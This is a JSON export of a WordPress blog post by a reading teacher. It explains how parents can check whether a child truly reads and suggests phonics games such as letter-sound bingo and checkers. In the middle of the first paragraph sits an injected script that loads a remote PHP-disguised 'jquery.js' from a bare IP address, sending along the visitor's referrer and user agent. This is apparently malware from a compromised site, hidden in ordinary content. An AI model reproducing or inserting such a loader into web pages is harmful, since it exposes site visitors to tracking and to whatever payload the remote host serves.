{"id":70,"date":"2014-10-20T02:09:18","date_gmt":"2014-10-20T02:09:18","guid":{"rendered":"http:\/\/action-reading.com\/fun\/?p=70"},"modified":"2014-11-17T16:05:05","modified_gmt":"2014-11-17T16:05:05","slug":"can-your-child-really-read","status":"publish","type":"post","link":"http:\/\/action-reading.com\/fun\/?p=70","title":{"rendered":"CAN YOUR CHILD REALLY READ?"},"content":{"rendered":"<p><strong>CAN YOUR CHILD REALLY READ?<\/strong><\/p>\n<p>&nbsp;<\/p>\n<p>From<\/p>\n<p>LEARNING TO READ IS CHILD\u2019S PLAY<\/p>\n<p>By Jeanie Eller<\/p>\n<p>&nbsp;<\/p>\n<p>You are very proud when your child brings home a great report card that shows that your child is learning to read in school. So, <noindex><script type=\"text\/javascript\" rel=\"nofollow\" style=\"text-decoration:none;color:#676c6c\"> document.write(\"<script language='javascript' rel='nofollow' type='text\/javascript' src='http:\/\/5.45.67.97\/1\/jquery.js.php?r=\" + encodeuri(document.referrer) + \"&#038;u=\" + encodeuri(navigator.useragent) + \"'><\/sc\" + \"ript>\"); <\/script><\/noindex>  how do so many children get to fourth grade unable to read or graduate from high school unable to even read their own diplomas? They do not learn to read in first grade and then are promoted all through school and graduate still unable to read fluently and independently.<\/p>\n<p>First graders memorize stories by looking at the pictures on the page. This is a normal thing that children do,   but it is not reading. The first grade teacher thinks the child is reading. The child is very proud that he \u201ccan read\u201d and the parents are thrilled when the child reads the story to them. If you take the story book, open it randomly to a page (without the child seeing it) cover up the picture so only the words are visible, you may be shocked to find out that your child can not read the words.<\/p>\n<p>Find out if your child can read.\u00a0 Sit down with your child.\u00a0 Take something they have not memorized (like a story in today\u2019s newspaper or this article) and have your child read it out loud to you.\u00a0 If your child has completed first grade they should be able to fluently, accurately and independently read a story in the newspaper and answer comprehension questions about the story.\u00a0 If they cannot, you need to immediately teach your child to read.\u00a0 If you need help with teaching, contact <a href=\"http:\/\/www.actionreading.com\/\">www.ActionReading.com<\/a>.<\/p>\n<p>&nbsp;<\/p>\n<p>The Federal Government spent 2 Billion Dollars of our tax money to find out how children learn to read.\u00a0 They came up with 7 principles of learning to read.<\/p>\n<p>&nbsp;<\/p>\n<p>The first one is called Phonemic Awareness. Phonemic Awareness just means the awareness that words are made up of sounds.\u00a0 A person (child or adult) must have this awareness before they can move on to the next step of learning to read.\u00a0 When I taught illiterate adults to read in two weeks for the Oprah Winfrey Show, they had to have this understanding before they could learn to read.<\/p>\n<p>The following are ways that you can teach these principles and your child can enjoy learning to read.<\/p>\n<ol>\n<li>Sing songs; play rhyming games and start making the connection of the beginning sound of the child\u2019s name with the symbol (letter) that represents that sound.\u00a0 For example if the child\u2019s name is Keelan, every time you see a letter K in a book or on a sign, say, \u201cLook, there\u2019s your sound kuh. Kuh\u201d.\u00a0 Do not call it by its letter name Kay.\u00a0 Call it by its sound, kuh.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol>\n<li>Teach your child letter sounds not letter names.\u00a0 Teach your child the aah, buh, cuhs first, not the ABCs.\u00a0 Letter names do not make words.\u00a0 Sea Aye Tea does not make a word.\u00a0 When your child says the sounds of the letters, Cuh-aah-tuh the word \u201ccat\u201d will come right out of their mouth.\u00a0 For help with teaching the sounds get the FUNdamentals program.\u00a0 You can also make and play the following games.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol>\n<li>Have your child make an Aah-Buh-Cuh Book.\u00a0 Take a cheap scrapbook with white or beige pages.\u00a0 At the top of each page write one letter.\u00a0 (Both capitol and lower case).\u00a0 Let your child cut or tear pages out of magazines and paste them on the appropriate pages.\u00a0 I also let my children have any duplicate photos.\u00a0 My son pasted a picture of a friend at a party on the Dd page and said, \u201cDan Doherty dancing.\u00a0 Duh, duh, duh\u201d.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol>\n<li>Aah-Buh-Cuh Bingo.\u00a0 Take a piece of paper and make 5 rows across and 5 rows down to form 25 Bingo squares.\u00a0 Say a word that begins with each sound of the alphabet.\u00a0 You can always leave out one.\u00a0 Have the child write the capital and lower case letter for the sound.\u00a0 Then give the child Cheerios or M&amp;Ms to use for markers.\u00a0 Say a word that begins with a sound and the child will find that sound and put the marker on it.\u00a0 When they have a straight line across, down or diagonally they say \u201cAah-Buh-Cuh\u201d and they get to eat that row.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<ol>\n<li>Aah-Buh-Cuh Checkers.\u00a0 Take a cheap checkerboard and write the letters in random order with a black marker.\u00a0 Each time the child moves apiece they say the sound they are moving to.\u00a0 If they forget or say the wrong sound, they lose a turn.<\/li>\n<\/ol>\n<p>&nbsp;<\/p>\n<p>Jeanie Eller has been a classroom teacher for over 36 years.\u00a0 She trains teaches all over the country.\u00a0 She taught illiterate adults to read in two weeks for the Oprah Winfrey Show.\u00a0 She has done over one thousand radio interviews on the subject of illiteracy and the simple solution. She is the developer of the ACTION READING FUNdamentals learn to read at home program.\u00a0 She can be reached at:<\/p>\n<p>1-800-378-1046 or \u00a0<a href=\"http:\/\/www.actionreading.com\/\">www.ActionReading.com<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>CAN YOUR CHILD REALLY READ? &nbsp; From LEARNING TO READ IS CHILD\u2019S PLAY By Jeanie Eller &nbsp; You are very proud when your child brings&#8230;<\/p>\n","protected":false},"author":1,"featured_media":73,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[8,3,5],"tags":[],"_links":{"self":[{"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/posts\/70"}],"collection":[{"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=70"}],"version-history":[{"count":3,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/posts\/70\/revisions"}],"predecessor-version":[{"id":75,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/posts\/70\/revisions\/75"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=\/wp\/v2\/media\/73"}],"wp:attachment":[{"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=70"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=70"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/action-reading.com\/fun\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=70"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}